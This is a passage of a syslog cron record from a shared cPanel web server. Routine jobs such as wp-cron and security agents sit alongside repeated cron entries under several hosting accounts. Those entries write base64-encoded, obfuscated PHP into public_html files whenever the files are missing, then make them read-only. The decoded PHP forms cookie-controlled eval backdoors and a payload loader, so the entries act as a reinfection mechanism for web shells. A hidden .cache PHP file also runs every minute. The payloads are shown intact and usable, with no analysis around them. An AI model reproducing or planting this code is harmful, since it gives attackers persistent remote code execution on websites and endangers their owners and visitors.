fZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:11:02 medusa CROND[5816]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:11:02 medusa CROND[5822]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:11:02 medusa CROND[5823]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:12:01 medusa CROND[29161]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 19:12:01 medusa CROND[29162]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:12:01 medusa CROND[29163]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 19:12:01 medusa CROND[29164]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:12:01 medusa CROND[29165]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:12:01 medusa CROND[29166]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:12:01 medusa CROND[29170]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:12:01 medusa CROND[29173]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:12:01 medusa CROND[29174]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:12:01 medusa CROND[29176]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:12:02 medusa CROND[29175]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 19:12:02 medusa CROND[29171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:12:02 medusa CROND[29178]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:12:02 medusa CROND[29186]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:13:01 medusa CROND[20356]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:13:01 medusa CROND[20461]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 19:13:01 medusa CROND[20462]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 19:13:01 medusa CROND[20463]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:13:01 medusa CROND[20464]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:13:01 medusa CROND[20465]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 19:13:01 medusa CROND[20466]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:13:01 medusa CROND[20467]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:13:01 medusa CROND[20468]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:13:01 medusa CROND[20469]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:13:01 medusa CROND[20470]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:13:01 medusa CROND[20472]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:13:01 medusa CROND[20476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:13:01 medusa CROND[20475]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:14:01 medusa CROND[12013]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:14:01 medusa CROND[12015]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:14:01 medusa CROND[12012]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
